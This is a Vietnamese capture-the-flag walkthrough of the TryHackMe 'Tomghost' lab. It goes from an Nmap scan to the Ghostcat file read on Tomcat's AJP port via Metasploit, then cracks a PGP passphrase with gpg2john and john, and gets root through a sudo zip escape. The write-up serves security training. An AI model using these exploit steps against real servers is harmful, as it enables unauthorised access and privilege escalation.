Bài viết

TryHackMe - Tomghost

Lấy thông tin đăng nhập bằng khóa PGP?

TryHackMe - Tomghost

Giới thiệu

Một room khá hay, nơi tôi đã học được rất nhiều điều. Giải mã khóa PGP bằng gpg2john để lấy thông tin đăng nhập của người dùng, sau đó giành quyền root bằng zip — rất thú vị.

Tryhackme Room Link

Nmap

Hãy bắt đầu bằng việc quét với Nmap:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
nmap -T4 -n -sC -sV -Pn -p- 10.10.56.163
PORT     STATE SERVICE    VERSION
22/tcp   open  ssh        OpenSSH 7.2p2 Ubuntu 4ubuntu2.8 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 f3:c8:9f:0b:6a:c5:fe:95:54:0b:e9:e3:ba:93:db:7c (RSA)
|   256 dd:1a:09:f5:99:63:a3:43:0d:2d:90:d8:e3:e1:1f:b9 (ECDSA)
|_  256 48:d1:30:1b:38:6c:c6:53:ea:30:81:80:5d:0c:f1:05 (ED25519)
53/tcp   open  tcpwrapped
8009/tcp open  ajp13      Apache Jserv (Protocol v1.3)
| ajp-methods: 
|_  Supported methods: GET HEAD POST OPTIONS
8080/tcp open  http       Apache Tomcat 9.0.30
|_http-title: Apache Tomcat/9.0.30
|_http-favicon: Apache Tomcat
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Chúng ta có 4 cổng đang mở:

22/tcp 53/tcp 8009/tcp 8080/tcp

Trinh sát

Sau khi tìm kiếm nhanh trên Google về các lỗ hổng của Tomcat phiên bản này, chúng ta phát hiện những thông tin sau:

Các lỗ hổng CVE-2020-1938CVE-2020-1745 đã được báo cáo vào tháng 4 năm 2020. Chúng ảnh hưởng đến Apache Tomcat AJP connector và cho phép thực hiện kiểu tấn công Request Injection, còn được gọi là Ghostcat.

Truy cập ban đầu

Hãy mở Metasploit.

1
msfconsole
1
2
3
4
5
6
7
8
9
10
11
12
search cve: CVE-2020-1938
msf6 > search cve: CVE-2020-1938

Matching Modules
================

   #  Name                                  Disclosure Date  Rank    Check  Description
   -  ----                                  ---------------  ----    -----  -----------
   0  auxiliary/admin/http/tomcat_ghostcat  2020-02-20       normal  Yes    Apache Tomcat AJP File Read


Interact with a module by name or index. For example info 0, use 0 or use auxiliary/admin/http/tomcat_ghostcat

Có vẻ chúng ta có thể sử dụng module này.

1
2
use auxiliary/admin/http/tomcat_ghostcat
msf6 auxiliary(admin/http/tomcat_ghostcat) > 

Bây giờ, hãy kiểm tra những tùy chọn cần thiết lập.

1
2
3
4
5
6
7
8
9
10
11
msf6 auxiliary(admin/http/tomcat_ghostcat) > options

Module options (auxiliary/admin/http/tomcat_ghostcat):

   Name      Current Setting   Required  Description
   ----      ---------------   --------  -----------
   FILENAME  /WEB-INF/web.xml  yes       File name
   RHOSTS                      yes       The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/u
                                         sing-metasploit.html
   RPORT     8009              yes       The Apache JServ Protocol (AJP) port (TCP)

Chúng ta chỉ cần thiết lập RHOSTS, tức địa chỉ IP của máy mục tiêu, rồi chạy exploit.

1
2
3
msf6 auxiliary(admin/http/tomcat_ghostcat) > set RHOSTS 10.10.56.163
RHOSTS => 10.10.56.163
msf6 auxiliary(admin/http/tomcat_ghostcat) > exploit
1
2
3
     Welcome to GhostCat
        skyfuck:8730281lkjlkjdqlksalks
  </description>

Thông tin này trông giống như thông tin đăng nhập, vì vậy hãy thử sử dụng nó để kết nối qua SSH.

1
2
ssh skyfuck@10.10.56.163
skyfuck@ubuntu:~$ 

User Flag

Chúng ta có thể tìm thấy user flag trong thư mục /home/merlin.

User Flag

Root Flag

Bây giờ, chúng ta có thể thấy 2 tệp.

1
2
skyfuck@ubuntu:~$ ls
credential.pgp  tryhackme.asc

Chúng ta cần lấy thông tin đăng nhập.

1
2
3
4
5
6
7
8
9
skyfuck@ubuntu:~$ gpg --import tryhackme.asc
gpg: key C6707170: secret key imported
gpg: key C6707170: public key "tryhackme <stuxnet@tryhackme.com>" imported
gpg: key C6707170: "tryhackme <stuxnet@tryhackme.com>" not changed
gpg: Total number processed: 2
gpg:               imported: 1
gpg:              unchanged: 1
gpg:       secret keys read: 1
gpg:   secret keys imported: 1
1
2
3
4
5
6
7
8
skyfuck@ubuntu:~$ gpg --decrypt credential.pgp

You need a passphrase to unlock the secret key for
user: "tryhackme <stuxnet@tryhackme.com>"
1024-bit ELG-E key, ID 6184FBCC, created 2020-03-11 (main key ID C6707170)

gpg: gpg-agent is not available in this session
Enter passphrase: 

Chúng ta sẽ cần passphrase để tiếp tục.

Hãy tải các tệp có sẵn xuống máy của chúng ta.

1
scp skyfuck@10.10.56.163:/home/skyfuck/* /home/rene/Desktop/

Sau đó, hãy sử dụng gpg2john để bẻ khóa tệp tryhackme.asc.

1
2
gpg2john tryhackme.asc > hash
john --wordlist=/usr/share/wordlists/rockyou.txt hash

Passphrase

Bây giờ, hãy sử dụng passphrase để giải mã tệp credential.pgp và lấy thông tin đăng nhập.

Passphrase

Tiếp theo, hãy sử dụng thông tin đăng nhập mới để đăng nhập với tư cách merlin.

1
2
└─$ ssh merlin@10.10.56.163                                 
merlin@10.10.56.163's password:
1
2
3
4
5
6
merlin@ubuntu:~$ sudo -l
Matching Defaults entries for merlin on ubuntu:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User merlin may run the following commands on ubuntu:
    (root : root) NOPASSWD: /usr/bin/zip

Bây giờ, chúng ta đang sử dụng người dùng mới và có thể chạy zip với quyền root. Điều này có nghĩa là chúng ta cần tạo một tệp rồi nén nó.

Sau khi tìm kiếm nhanh trên Google, chúng ta có thể sử dụng kỹ thuật leo thang đặc quyền sau:

1
2
3
TF=$(mktemp -u)
sudo zip $TF /etc/hosts -T -TT 'sh #'
sudo rm $TF

Và chúng ta lấy được root flag.

Root

Bài viết này được cấp phép bởi tác giả theo giấy phép CC BY 4.0 .